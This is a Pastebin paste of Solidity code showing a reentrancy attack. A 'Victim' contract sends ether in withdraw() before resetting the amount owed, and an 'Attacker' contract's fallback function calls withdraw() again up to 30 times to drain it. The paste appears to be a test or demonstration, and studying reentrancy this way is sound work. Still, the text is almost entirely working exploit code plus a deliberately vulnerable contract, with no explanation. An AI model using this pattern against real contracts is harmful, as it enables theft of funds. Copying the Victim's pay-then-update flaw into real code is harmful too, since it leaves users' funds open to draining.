Guest User

Untitled

a guest
Oct 21st, 2017
67
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.91 KB | None | 0 0
  1. pragma solidity ^0.4.8;
  2.  
  3. contract Victim {
  4.  
  5. uint public owedToAttacker;
  6.  
  7. function Victim() {
  8. owedToAttacker =11;
  9. }
  10.  
  11. function withdraw() {
  12. if (!msg.sender.call.value(owedToAttacker)()) revert();
  13. owedToAttacker = 0;
  14. }
  15.  
  16. // deposit some funds for testing
  17. function deposit() payable {}
  18.  
  19. function getBalance() public constant returns(uint) { return this.balance; }
  20. }
  21.  
  22. contract Attacker {
  23.  
  24. Victim v;
  25. uint public count;
  26.  
  27. event LogFallback(uint count, uint balance);
  28.  
  29. function Attacker(address victim) payable {
  30. v = Victim(victim);
  31. }
  32.  
  33. function attack() {
  34. v.withdraw();
  35. }
  36.  
  37. function () payable {
  38. count++;
  39. LogFallback(count, this.balance);
  40. // crude stop before we run out of gas
  41. if(count < 30) v.withdraw();
  42. }
  43.  
  44. function getBalance() public constant returns(uint) { return this.balance; }
  45.  
  46. }
Add Comment
Please, Sign In to add comment